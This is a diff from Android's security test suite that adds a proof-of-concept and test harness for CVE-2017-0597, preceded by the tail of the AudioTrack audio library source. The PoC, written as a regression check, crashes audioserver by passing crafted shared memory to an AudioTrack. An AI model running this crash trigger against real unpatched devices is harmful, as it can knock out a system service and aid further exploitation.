+                            (ets.mTimeNs[ExtendedTimestamp::LOCATION_SERVER_LASTKERNELOK] < 0 ||
+                            ets.mTimeNs[ExtendedTimestamp::LOCATION_KERNEL_LASTKERNELOK] < 0 ||
+                            ets.mPosition[ExtendedTimestamp::LOCATION_SERVER_LASTKERNELOK] <= 0 ||
+                            ets.mPosition[ExtendedTimestamp::LOCATION_KERNEL_LASTKERNELOK] <= 0)
+                            ?
+                            int64_t((double)mAfLatency * mSampleRate * mPlaybackRate.mSpeed
+                                    / 1000)
+                            :
+                            (ets.mPosition[ExtendedTimestamp::LOCATION_SERVER_LASTKERNELOK]
+                            - ets.mPosition[ExtendedTimestamp::LOCATION_KERNEL_LASTKERNELOK]);
+                    ALOGV("%s(%d): frame adjustment:%lld  timestamp:%s",
+                            __func__, mPortId, (long long)frames, ets.toString().c_str());
+                    if (frames >= ets.mPosition[location]) {
+                        timestamp.mPosition = 0;
+                    } else {
+                        timestamp.mPosition = (uint32_t)(ets.mPosition[location] - frames);
+                    }
+                } else if (location == ExtendedTimestamp::LOCATION_KERNEL) {
+                    ALOGV_IF(mPreviousLocation == ExtendedTimestamp::LOCATION_SERVER,
+                            "%s(%d): location moved from server to kernel",
+                            __func__, mPortId);
+
+                    if (ets.mPosition[ExtendedTimestamp::LOCATION_SERVER] ==
+                            ets.mPosition[ExtendedTimestamp::LOCATION_KERNEL]) {
+                        // In Q, we don't return errors as an invalid time
+                        // but instead we leave the last kernel good timestamp alone.
+                        //
+                        // If server is identical to kernel, the device data pipeline is idle.
+                        // A better start time is now.  The retrograde check ensures
+                        // timestamp monotonicity.
+                        const int64_t nowNs = systemTime();
+                        if (!mTimestampStallReported) {
+                            ALOGD("%s(%d): device stall time corrected using current time %lld",
+                                    __func__, mPortId, (long long)nowNs);
+                            mTimestampStallReported = true;
+                        }
+                        timestamp.mTime = convertNsToTimespec(nowNs);
+                    }  else {
+                        mTimestampStallReported = false;
+                    }
+                }
+
+                // We update the timestamp time even when paused.
+                if (mState == STATE_PAUSED /* not needed: STATE_PAUSED_STOPPING */) {
+                    const int64_t now = systemTime();
+                    const int64_t at = audio_utils_ns_from_timespec(&timestamp.mTime);
+                    const int64_t lag =
+                            (ets.mTimeNs[ExtendedTimestamp::LOCATION_SERVER_LASTKERNELOK] < 0 ||
+                                ets.mTimeNs[ExtendedTimestamp::LOCATION_KERNEL_LASTKERNELOK] < 0)
+                            ? int64_t(mAfLatency * 1000000LL)
+                            : (ets.mPosition[ExtendedTimestamp::LOCATION_SERVER_LASTKERNELOK]
+                             - ets.mPosition[ExtendedTimestamp::LOCATION_KERNEL_LASTKERNELOK])
+                             * NANOS_PER_SECOND / mSampleRate;
+                    const int64_t limit = now - lag; // no earlier than this limit
+                    if (at < limit) {
+                        ALOGV("timestamp pause lag:%lld adjusting from %lld to %lld",
+                                (long long)lag, (long long)at, (long long)limit);
+                        timestamp.mTime = convertNsToTimespec(limit);
+                    }
+                }
+                mPreviousLocation = location;
+            } else {
+                // right after AudioTrack is started, one may not find a timestamp
+                ALOGV("%s(%d): getBestTimestamp did not find timestamp", __func__, mPortId);
+            }
+        }
+        if (status == INVALID_OPERATION) {
+            // INVALID_OPERATION occurs when no timestamp has been issued by the server;
+            // other failures are signaled by a negative time.
+            // If we come out of FLUSHED or STOPPED where the position is known
+            // to be zero we convert this to WOULD_BLOCK (with the implicit meaning of
+            // "zero" for NuPlayer).  We don't convert for track restoration as position
+            // does not reset.
+            ALOGV("%s(%d): timestamp server offset:%lld restore frames:%lld",
+                    __func__, mPortId,
+                    (long long)mFramesWrittenServerOffset, (long long)mFramesWrittenAtRestore);
+            if (mFramesWrittenServerOffset != mFramesWrittenAtRestore) {
+                status = WOULD_BLOCK;
+            }
+        }
+    }
+    if (status != NO_ERROR) {
+        ALOGV_IF(status != WOULD_BLOCK, "%s(%d): getTimestamp error:%#x", __func__, mPortId, status);
+        return status;
+    }
+    if (isOffloadedOrDirect_l()) {
+        if (isOffloaded_l() && (mState == STATE_PAUSED || mState == STATE_PAUSED_STOPPING)) {
+            // use cached paused position in case another offloaded track is running.
+            timestamp.mPosition = mPausedPosition;
+            clock_gettime(CLOCK_MONOTONIC, &timestamp.mTime);
+            // TODO: adjust for delay
+            return NO_ERROR;
+        }
+
+        // Check whether a pending flush or stop has completed, as those commands may
+        // be asynchronous or return near finish or exhibit glitchy behavior.
+        //
+        // Originally this showed up as the first timestamp being a continuation of
+        // the previous song under gapless playback.
+        // However, we sometimes see zero timestamps, then a glitch of
+        // the previous song's position, and then correct timestamps afterwards.
+        if (mStartFromZeroUs != 0 && mSampleRate != 0) {
+            static const int kTimeJitterUs = 100000; // 100 ms
+            static const int k1SecUs = 1000000;
+
+            const int64_t timeNow = getNowUs();
+
+            if (timeNow < mStartFromZeroUs + k1SecUs) { // within first second of starting
+                const int64_t timestampTimeUs = convertTimespecToUs(timestamp.mTime);
+                if (timestampTimeUs < mStartFromZeroUs) {
+                    return WOULD_BLOCK;  // stale timestamp time, occurs before start.
+                }
+                const int64_t deltaTimeUs = timestampTimeUs - mStartFromZeroUs;
+                const int64_t deltaPositionByUs = (double)timestamp.mPosition * 1000000
+                        / ((double)mSampleRate * mPlaybackRate.mSpeed);
+
+                if (deltaPositionByUs > deltaTimeUs + kTimeJitterUs) {
+                    // Verify that the counter can't count faster than the sample rate
+                    // since the start time.  If greater, then that means we may have failed
+                    // to completely flush or stop the previous playing track.
+                    ALOGW_IF(!mTimestampStartupGlitchReported,
+                            "%s(%d): startup glitch detected"
+                            " deltaTimeUs(%lld) deltaPositionUs(%lld) tsmPosition(%u)",
+                            __func__, mPortId,
+                            (long long)deltaTimeUs, (long long)deltaPositionByUs,
+                            timestamp.mPosition);
+                    mTimestampStartupGlitchReported = true;
+                    if (previousTimestampValid
+                            && mPreviousTimestamp.mPosition == 0 /* should be true if valid */) {
+                        timestamp = mPreviousTimestamp;
+                        mPreviousTimestampValid = true;
+                        return NO_ERROR;
+                    }
+                    return WOULD_BLOCK;
+                }
+                if (deltaPositionByUs != 0) {
+                    mStartFromZeroUs = 0; // don't check again, we got valid nonzero position.
+                }
+            } else {
+                mStartFromZeroUs = 0; // don't check again, start time expired.
+            }
+            mTimestampStartupGlitchReported = false;
+        }
+    } else {
+        // Update the mapping between local consumed (mPosition) and server consumed (mServer)
+        (void) updateAndGetPosition_l();
+        // Server consumed (mServer) and presented both use the same server time base,
+        // and server consumed is always >= presented.
+        // The delta between these represents the number of frames in the buffer pipeline.
+        // If this delta between these is greater than the client position, it means that
+        // actually presented is still stuck at the starting line (figuratively speaking),
+        // waiting for the first frame to go by.  So we can't report a valid timestamp yet.
+        // Note: We explicitly use non-Modulo comparison here - potential wrap issue when
+        // mPosition exceeds 32 bits.
+        // TODO Remove when timestamp is updated to contain pipeline status info.
+        const int32_t pipelineDepthInFrames = (mServer - timestamp.mPosition).signedValue();
+        if (pipelineDepthInFrames > 0 /* should be true, but we check anyways */
+                && (uint32_t)pipelineDepthInFrames > mPosition.value()) {
+            return INVALID_OPERATION;
+        }
+        // Convert timestamp position from server time base to client time base.
+        // TODO The following code should work OK now because timestamp.mPosition is 32-bit.
+        // But if we change it to 64-bit then this could fail.
+        // Use Modulo computation here.
+        timestamp.mPosition = (mPosition - mServer + timestamp.mPosition).value();
+        // Immediately after a call to getPosition_l(), mPosition and
+        // mServer both represent the same frame position.  mPosition is
+        // in client's point of view, and mServer is in server's point of
+        // view.  So the difference between them is the "fudge factor"
+        // between client and server views due to stop() and/or new
+        // IAudioTrack.  And timestamp.mPosition is initially in server's
+        // point of view, so we need to apply the same fudge factor to it.
+    }
+
+    // Prevent retrograde motion in timestamp.
+    // This is sometimes caused by erratic reports of the available space in the ALSA drivers.
+    if (status == NO_ERROR) {
+        // Fix stale time when checking timestamp right after start().
+        // The position is at the last reported location but the time can be stale
+        // due to pause or standby or cold start latency.
+        //
+        // We keep advancing the time (but not the position) to ensure that the
+        // stale value does not confuse the application.
+        //
+        // For offload compatibility, use a default lag value here.
+        // Any time discrepancy between this update and the pause timestamp is handled
+        // by the retrograde check afterwards.
+        int64_t currentTimeNanos = audio_utils_ns_from_timespec(&timestamp.mTime);
+        const int64_t lagNs = int64_t(mAfLatency * 1000000LL);
+        const int64_t limitNs = mStartNs - lagNs;
+        if (currentTimeNanos < limitNs) {
+            if (!mTimestampStaleTimeReported) {
+                ALOGD("%s(%d): stale timestamp time corrected, "
+                        "currentTimeNanos: %lld < limitNs: %lld < mStartNs: %lld",
+                        __func__, mPortId,
+                        (long long)currentTimeNanos, (long long)limitNs, (long long)mStartNs);
+                mTimestampStaleTimeReported = true;
+            }
+            timestamp.mTime = convertNsToTimespec(limitNs);
+            currentTimeNanos = limitNs;
+        } else {
+            mTimestampStaleTimeReported = false;
+        }
+
+        // previousTimestampValid is set to false when starting after a stop or flush.
+        if (previousTimestampValid) {
+            const int64_t previousTimeNanos =
+                    audio_utils_ns_from_timespec(&mPreviousTimestamp.mTime);
+
+            // retrograde check
+            if (currentTimeNanos < previousTimeNanos) {
+                if (!mTimestampRetrogradeTimeReported) {
+                    ALOGW("%s(%d): retrograde timestamp time corrected, %lld < %lld",
+                            __func__, mPortId,
+                            (long long)currentTimeNanos, (long long)previousTimeNanos);
+                    mTimestampRetrogradeTimeReported = true;
+                }
+                timestamp.mTime = mPreviousTimestamp.mTime;
+            } else {
+                mTimestampRetrogradeTimeReported = false;
+            }
+
+            // Looking at signed delta will work even when the timestamps
+            // are wrapping around.
+            int32_t deltaPosition = (Modulo<uint32_t>(timestamp.mPosition)
+                    - mPreviousTimestamp.mPosition).signedValue();
+            if (deltaPosition < 0) {
+                // Only report once per position instead of spamming the log.
+                if (!mTimestampRetrogradePositionReported) {
+                    ALOGW("%s(%d): retrograde timestamp position corrected, %d = %u - %u",
+                            __func__, mPortId,
+                            deltaPosition,
+                            timestamp.mPosition,
+                            mPreviousTimestamp.mPosition);
+                    mTimestampRetrogradePositionReported = true;
+                }
+            } else {
+                mTimestampRetrogradePositionReported = false;
+            }
+            if (deltaPosition < 0) {
+                timestamp.mPosition = mPreviousTimestamp.mPosition;
+                deltaPosition = 0;
+            }
+#if 0
+            // Uncomment this to verify audio timestamp rate.
+            const int64_t deltaTime =
+                    audio_utils_ns_from_timespec(&timestamp.mTime) - previousTimeNanos;
+            if (deltaTime != 0) {
+                const int64_t computedSampleRate =
+                        deltaPosition * (long long)NANOS_PER_SECOND / deltaTime;
+                ALOGD("%s(%d): computedSampleRate:%u  sampleRate:%u",
+                        __func__, mPortId,
+                        (unsigned)computedSampleRate, mSampleRate);
+            }
+#endif
+        }
+        mPreviousTimestamp = timestamp;
+        mPreviousTimestampValid = true;
+    }
+
+    return status;
+}
+
+String8 AudioTrack::getParameters(const String8& keys)
+{
+    audio_io_handle_t output = getOutput();
+    if (output != AUDIO_IO_HANDLE_NONE) {
+        return AudioSystem::getParameters(output, keys);
+    } else {
+        return String8::empty();
+    }
+}
+
+bool AudioTrack::isOffloaded() const
+{
+    AutoMutex lock(mLock);
+    return isOffloaded_l();
+}
+
+bool AudioTrack::isDirect() const
+{
+    AutoMutex lock(mLock);
+    return isDirect_l();
+}
+
+bool AudioTrack::isOffloadedOrDirect() const
+{
+    AutoMutex lock(mLock);
+    return isOffloadedOrDirect_l();
+}
+
+
+status_t AudioTrack::dump(int fd, const Vector<String16>& args __unused) const
+{
+    String8 result;
+
+    result.append(" AudioTrack::dump\n");
+    result.appendFormat("  id(%d) status(%d), state(%d), session Id(%d), flags(%#x)\n",
+                        mPortId, mStatus, mState, mSessionId, mFlags);
+    result.appendFormat("  stream type(%d), left - right volume(%f, %f)\n",
+                        (mStreamType == AUDIO_STREAM_DEFAULT) ?
+                            AudioSystem::attributesToStreamType(mAttributes) :
+                            mStreamType,
+                        mVolume[AUDIO_INTERLEAVE_LEFT], mVolume[AUDIO_INTERLEAVE_RIGHT]);
+    result.appendFormat("  format(%#x), channel mask(%#x), channel count(%u)\n",
+                  mFormat, mChannelMask, mChannelCount);
+    result.appendFormat("  sample rate(%u), original sample rate(%u), speed(%f)\n",
+                  mSampleRate, mOriginalSampleRate, mPlaybackRate.mSpeed);
+    result.appendFormat("  frame count(%zu), req. frame count(%zu)\n",
+                  mFrameCount, mReqFrameCount);
+    result.appendFormat("  notif. frame count(%u), req. notif. frame count(%u),"
+            " req. notif. per buff(%u)\n",
+             mNotificationFramesAct, mNotificationFramesReq, mNotificationsPerBufferReq);
+    result.appendFormat("  latency (%d), selected device Id(%d), routed device Id(%d)\n",
+                        mLatency, mSelectedDeviceId, mRoutedDeviceId);
+    result.appendFormat("  output(%d) AF latency (%u) AF frame count(%zu) AF SampleRate(%u)\n",
+                        mOutput, mAfLatency, mAfFrameCount, mAfSampleRate);
+    ::write(fd, result.string(), result.size());
+    return NO_ERROR;
+}
+
+uint32_t AudioTrack::getUnderrunCount() const
+{
+    AutoMutex lock(mLock);
+    return getUnderrunCount_l();
+}
+
+uint32_t AudioTrack::getUnderrunCount_l() const
+{
+    return mProxy->getUnderrunCount() + mUnderrunCountOffset;
+}
+
+uint32_t AudioTrack::getUnderrunFrames() const
+{
+    AutoMutex lock(mLock);
+    return mProxy->getUnderrunFrames();
+}
+
+status_t AudioTrack::addAudioDeviceCallback(const sp<AudioSystem::AudioDeviceCallback>& callback)
+{
+
+    if (callback == 0) {
+        ALOGW("%s(%d): adding NULL callback!", __func__, mPortId);
+        return BAD_VALUE;
+    }
+    AutoMutex lock(mLock);
+    if (mDeviceCallback.unsafe_get() == callback.get()) {
+        ALOGW("%s(%d): adding same callback!", __func__, mPortId);
+        return INVALID_OPERATION;
+    }
+    status_t status = NO_ERROR;
+    if (mOutput != AUDIO_IO_HANDLE_NONE) {
+        if (mDeviceCallback != 0) {
+            ALOGW("%s(%d): callback already present!", __func__, mPortId);
+            AudioSystem::removeAudioDeviceCallback(this, mOutput, mPortId);
+        }
+        status = AudioSystem::addAudioDeviceCallback(this, mOutput, mPortId);
+    }
+    mDeviceCallback = callback;
+    return status;
+}
+
+status_t AudioTrack::removeAudioDeviceCallback(
+        const sp<AudioSystem::AudioDeviceCallback>& callback)
+{
+    if (callback == 0) {
+        ALOGW("%s(%d): removing NULL callback!", __func__, mPortId);
+        return BAD_VALUE;
+    }
+    AutoMutex lock(mLock);
+    if (mDeviceCallback.unsafe_get() != callback.get()) {
+        ALOGW("%s removing different callback!", __FUNCTION__);
+        return INVALID_OPERATION;
+    }
+    mDeviceCallback.clear();
+    if (mOutput != AUDIO_IO_HANDLE_NONE) {
+        AudioSystem::removeAudioDeviceCallback(this, mOutput, mPortId);
+    }
+    return NO_ERROR;
+}
+
+
+void AudioTrack::onAudioDeviceUpdate(audio_io_handle_t audioIo,
+                                 audio_port_handle_t deviceId)
+{
+    sp<AudioSystem::AudioDeviceCallback> callback;
+    {
+        AutoMutex lock(mLock);
+        if (audioIo != mOutput) {
+            return;
+        }
+        callback = mDeviceCallback.promote();
+        // only update device if the track is active as route changes due to other use cases are
+        // irrelevant for this client
+        if (mState == STATE_ACTIVE) {
+            mRoutedDeviceId = deviceId;
+        }
+    }
+
+    if (callback.get() != nullptr) {
+        callback->onAudioDeviceUpdate(mOutput, mRoutedDeviceId);
+    }
+}
+
+status_t AudioTrack::pendingDuration(int32_t *msec, ExtendedTimestamp::Location location)
+{
+    if (msec == nullptr ||
+            (location != ExtendedTimestamp::LOCATION_SERVER
+                    && location != ExtendedTimestamp::LOCATION_KERNEL)) {
+        return BAD_VALUE;
+    }
+    AutoMutex lock(mLock);
+    // inclusive of offloaded and direct tracks.
+    //
+    // It is possible, but not enabled, to allow duration computation for non-pcm
+    // audio_has_proportional_frames() formats because currently they have
+    // the drain rate equivalent to the pcm sample rate * framesize.
+    if (!isPurePcmData_l()) {
+        return INVALID_OPERATION;
+    }
+    ExtendedTimestamp ets;
+    if (getTimestamp_l(&ets) == OK
+            && ets.mTimeNs[location] > 0) {
+        int64_t diff = ets.mPosition[ExtendedTimestamp::LOCATION_CLIENT]
+                - ets.mPosition[location];
+        if (diff < 0) {
+            *msec = 0;
+        } else {
+            // ms is the playback time by frames
+            int64_t ms = (int64_t)((double)diff * 1000 /
+                    ((double)mSampleRate * mPlaybackRate.mSpeed));
+            // clockdiff is the timestamp age (negative)
+            int64_t clockdiff = (mState != STATE_ACTIVE) ? 0 :
+                    ets.mTimeNs[location]
+                    + ets.mTimebaseOffset[ExtendedTimestamp::TIMEBASE_MONOTONIC]
+                    - systemTime(SYSTEM_TIME_MONOTONIC);
+
+            //ALOGV("ms: %lld  clockdiff: %lld", (long long)ms, (long long)clockdiff);
+            static const int NANOS_PER_MILLIS = 1000000;
+            *msec = (int32_t)(ms + clockdiff / NANOS_PER_MILLIS);
+        }
+        return NO_ERROR;
+    }
+    if (location != ExtendedTimestamp::LOCATION_SERVER) {
+        return INVALID_OPERATION; // LOCATION_KERNEL is not available
+    }
+    // use server position directly (offloaded and direct arrive here)
+    updateAndGetPosition_l();
+    int32_t diff = (Modulo<uint32_t>(mFramesWritten) - mPosition).signedValue();
+    *msec = (diff <= 0) ? 0
+            : (int32_t)((double)diff * 1000 / ((double)mSampleRate * mPlaybackRate.mSpeed));
+    return NO_ERROR;
+}
+
+bool AudioTrack::hasStarted()
+{
+    AutoMutex lock(mLock);
+    switch (mState) {
+    case STATE_STOPPED:
+        if (isOffloadedOrDirect_l()) {
+            // check if we have started in the past to return true.
+            return mStartFromZeroUs > 0;
+        }
+        // A normal audio track may still be draining, so
+        // check if stream has ended.  This covers fasttrack position
+        // instability and start/stop without any data written.
+        if (mProxy->getStreamEndDone()) {
+            return true;
+        }
+        FALLTHROUGH_INTENDED;
+    case STATE_ACTIVE:
+    case STATE_STOPPING:
+        break;
+    case STATE_PAUSED:
+    case STATE_PAUSED_STOPPING:
+    case STATE_FLUSHED:
+        return false;  // we're not active
+    default:
+        LOG_ALWAYS_FATAL("%s(%d): Invalid mState in hasStarted(): %d", __func__, mPortId, mState);
+        break;
+    }
+
+    // wait indicates whether we need to wait for a timestamp.
+    // This is conservatively figured - if we encounter an unexpected error
+    // then we will not wait.
+    bool wait = false;
+    if (isOffloadedOrDirect_l()) {
+        AudioTimestamp ts;
+        status_t status = getTimestamp_l(ts);
+        if (status == WOULD_BLOCK) {
+            wait = true;
+        } else if (status == OK) {
+            wait = (ts.mPosition == 0 || ts.mPosition == mStartTs.mPosition);
+        }
+        ALOGV("%s(%d): hasStarted wait:%d  ts:%u  start position:%lld",
+                __func__, mPortId,
+                (int)wait,
+                ts.mPosition,
+                (long long)mStartTs.mPosition);
+    } else {
+        int location = ExtendedTimestamp::LOCATION_SERVER; // for ALOG
+        ExtendedTimestamp ets;
+        status_t status = getTimestamp_l(&ets);
+        if (status == WOULD_BLOCK) {  // no SERVER or KERNEL frame info in ets
+            wait = true;
+        } else if (status == OK) {
+            for (location = ExtendedTimestamp::LOCATION_KERNEL;
+                    location >= ExtendedTimestamp::LOCATION_SERVER; --location) {
+                if (ets.mTimeNs[location] < 0 || mStartEts.mTimeNs[location] < 0) {
+                    continue;
+                }
+                wait = ets.mPosition[location] == 0
+                        || ets.mPosition[location] == mStartEts.mPosition[location];
+                break;
+            }
+        }
+        ALOGV("%s(%d): hasStarted wait:%d  ets:%lld  start position:%lld",
+                __func__, mPortId,
+                (int)wait,
+                (long long)ets.mPosition[location],
+                (long long)mStartEts.mPosition[location]);
+    }
+    return !wait;
+}
+
+// =========================================================================
+
+void AudioTrack::DeathNotifier::binderDied(const wp<IBinder>& who __unused)
+{
+    sp<AudioTrack> audioTrack = mAudioTrack.promote();
+    if (audioTrack != 0) {
+        AutoMutex lock(audioTrack->mLock);
+        audioTrack->mProxy->binderDied();
+    }
+}
+
+// =========================================================================
+
+AudioTrack::AudioTrackThread::AudioTrackThread(AudioTrack& receiver)
+    : Thread(true /* bCanCallJava */)  // binder recursion on restoreTrack_l() may call Java.
+    , mReceiver(receiver), mPaused(true), mPausedInt(false), mPausedNs(0LL),
+      mIgnoreNextPausedInt(false)
+{
+}
+
+AudioTrack::AudioTrackThread::~AudioTrackThread()
+{
+}
+
+bool AudioTrack::AudioTrackThread::threadLoop()
+{
+    {
+        AutoMutex _l(mMyLock);
+        if (mPaused) {
+            // TODO check return value and handle or log
+            mMyCond.wait(mMyLock);
+            // caller will check for exitPending()
+            return true;
+        }
+        if (mIgnoreNextPausedInt) {
+            mIgnoreNextPausedInt = false;
+            mPausedInt = false;
+        }
+        if (mPausedInt) {
+            // TODO use futex instead of condition, for event flag "or"
+            if (mPausedNs > 0) {
+                // TODO check return value and handle or log
+                (void) mMyCond.waitRelative(mMyLock, mPausedNs);
+            } else {
+                // TODO check return value and handle or log
+                mMyCond.wait(mMyLock);
+            }
+            mPausedInt = false;
+            return true;
+        }
+    }
+    if (exitPending()) {
+        return false;
+    }
+    nsecs_t ns = mReceiver.processAudioBuffer();
+    switch (ns) {
+    case 0:
+        return true;
+    case NS_INACTIVE:
+        pauseInternal();
+        return true;
+    case NS_NEVER:
+        return false;
+    case NS_WHENEVER:
+        // Event driven: call wake() when callback notifications conditions change.
+        ns = INT64_MAX;
+        FALLTHROUGH_INTENDED;
+    default:
+        LOG_ALWAYS_FATAL_IF(ns < 0, "%s(%d): processAudioBuffer() returned %lld",
+                __func__, mReceiver.mPortId, (long long)ns);
+        pauseInternal(ns);
+        return true;
+    }
+}
+
+void AudioTrack::AudioTrackThread::requestExit()
+{
+    // must be in this order to avoid a race condition
+    Thread::requestExit();
+    resume();
+}
+
+void AudioTrack::AudioTrackThread::pause()
+{
+    AutoMutex _l(mMyLock);
+    mPaused = true;
+}
+
+void AudioTrack::AudioTrackThread::resume()
+{
+    AutoMutex _l(mMyLock);
+    mIgnoreNextPausedInt = true;
+    if (mPaused || mPausedInt) {
+        mPaused = false;
+        mPausedInt = false;
+        mMyCond.signal();
+    }
+}
+
+void AudioTrack::AudioTrackThread::wake()
+{
+    AutoMutex _l(mMyLock);
+    if (!mPaused) {
+        // wake() might be called while servicing a callback - ignore the next
+        // pause time and call processAudioBuffer.
+        mIgnoreNextPausedInt = true;
+        if (mPausedInt && mPausedNs > 0) {
+            // audio track is active and internally paused with timeout.
+            mPausedInt = false;
+            mMyCond.signal();
+        }
+    }
+}
+
+void AudioTrack::AudioTrackThread::pauseInternal(nsecs_t ns)
+{
+    AutoMutex _l(mMyLock);
+    mPausedInt = true;
+    mPausedNs = ns;
+}
+
+} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.cpp
new file mode 100644
index 0000000..0ecd918
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.cpp
@@ -0,0 +1,126 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <media/AudioSystem.h>
+#include <media/AudioTrack.h>
+#include <binder/MemoryDealer.h>
+#include <binder/ProcessState.h>
+#include <math.h>
+#include "poc.h"
+
+namespace android {
+
+AudioTrackTest::AudioTrackTest(void) {
+    InitSine();
+}
+
+#define BUF_SZ 999999
+#define TIMEOUT_SEC 3 * 60
+
+int AudioTrackTest::Test01() {
+    sp < MemoryDealer > heap;
+    sp < IMemory > iMem;
+    audio_track_cblk_t* p;
+
+    unsigned long smpBuf[BUF_SZ];
+    unsigned long rate = 48000;
+    unsigned long phi;
+    unsigned long dPhi;
+    unsigned long amplitude;
+    unsigned long freq = 1237;
+    unsigned f0;
+
+    f0 = pow(2., 32.) * freq / rate;
+    dPhi = (unsigned long) f0;
+    amplitude = 1000;
+    phi = 0;
+    Generate(smpBuf, BUF_SZ, amplitude, phi, dPhi);
+
+    heap = new MemoryDealer(7999992, "AudioTrack Heap Base");
+    iMem = heap->allocate(BUF_SZ * sizeof(unsigned long));
+
+    p = static_cast<audio_track_cblk_t*>(iMem->pointer());
+    memcpy(p, smpBuf, BUF_SZ * sizeof(unsigned long));
+
+    sp < AudioTrack > track = new AudioTrack(AUDIO_STREAM_MUSIC,
+            rate, AUDIO_FORMAT_PCM_16_BIT,
+            AUDIO_CHANNEL_OUT_STEREO, iMem);
+
+    status_t status = track->initCheck();
+    if (status != NO_ERROR) {
+        track.clear();
+        return EXIT_FAILURE;
+    }
+    track->start();
+    sleep(TIMEOUT_SEC);
+    track->stop();
+    iMem.clear();
+    heap.clear();
+    return EXIT_SUCCESS;
+}
+
+void AudioTrackTest::Generate(unsigned long *buffer, unsigned long bufferSz,
+                              unsigned long amplitude, unsigned long &phi,
+                              unsigned long dPhi) {
+    for (unsigned long i0 = 0; i0 < bufferSz; i0++) {
+        buffer[i0] = ComputeSine(amplitude, phi);
+        phi += dPhi;
+    }
+}
+
+unsigned long AudioTrackTest::ComputeSine(unsigned long amplitude,
+                                          unsigned long phi) {
+    unsigned long pi13 = 25736;
+    unsigned long sample;
+    unsigned long l0, l1;
+
+    sample = (amplitude * sin1024[(phi >> 22) & 0x3ff]) >> 15;
+    l0 = (phi >> 12) & 0x3ff;
+    l1 = (amplitude * sin1024[((phi >> 22) + 256) & 0x3ff]) >> 15;
+    l0 = (l0 * l1) >> 10;
+    l0 = (l0 * pi13) >> 22;
+    sample = sample + l0;
+
+    return (unsigned long) sample;
+}
+
+void AudioTrackTest::InitSine(void) {
+    unsigned phi = 0;
+    unsigned dPhi = 2 * M_PI / SIN_SZ;
+    for (unsigned i0 = 0; i0 < SIN_SZ; i0++) {
+        long d0;
+
+        d0 = 32768. * sin(phi);
+        phi += dPhi;
+        if (d0 >= 32767)
+            d0 = 32767;
+        if (d0 <= -32768)
+            d0 = -32768;
+        sin1024[i0] = (long) d0;
+    }
+}
+}
+
+using namespace android;
+int main() {
+    ProcessState::self()->startThreadPool();
+    AudioTrackTest *test;
+
+    test = new AudioTrackTest();
+    test->Test01();
+    delete test;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h
new file mode 100644
index 0000000..ecaf48f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0597/poc.h
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef AUDIOTRACKTEST_H_
+#define AUDIOTRACKTEST_H_
+
+namespace android {
+
+class AudioTrackTest {
+public:
+  AudioTrackTest(void);
+  ~AudioTrackTest(){};
+
+  void Execute(void);
+  int Test01();
+
+  void Generate(unsigned long *buffer, unsigned long bufferSz,
+                unsigned long amplitude, unsigned long &phi,
+                unsigned long dPhi);
+  void InitSine();
+  unsigned long ComputeSine(unsigned long amplitude, unsigned long phi);
+
+#define SIN_SZ 5200000
+  unsigned long sin1024[SIN_SZ];
+};
+}; // namespace android
+
+#endif /*AUDIOTRACKTEST_H_*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0597.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0597.java
new file mode 100644
index 0000000..7f0bd0d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0597.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0597 extends SecurityTestCase {
+
+    /**
+     *  b/34749571
+     *  Vulnerability Behaviour: SIGSEGV in audioserver
+     **/
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2017_0597() throws Exception {
+        String processPatternStrings[] = {"audioserver"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0597", null, getDevice(),
+                processPatternStrings);
+    }
+}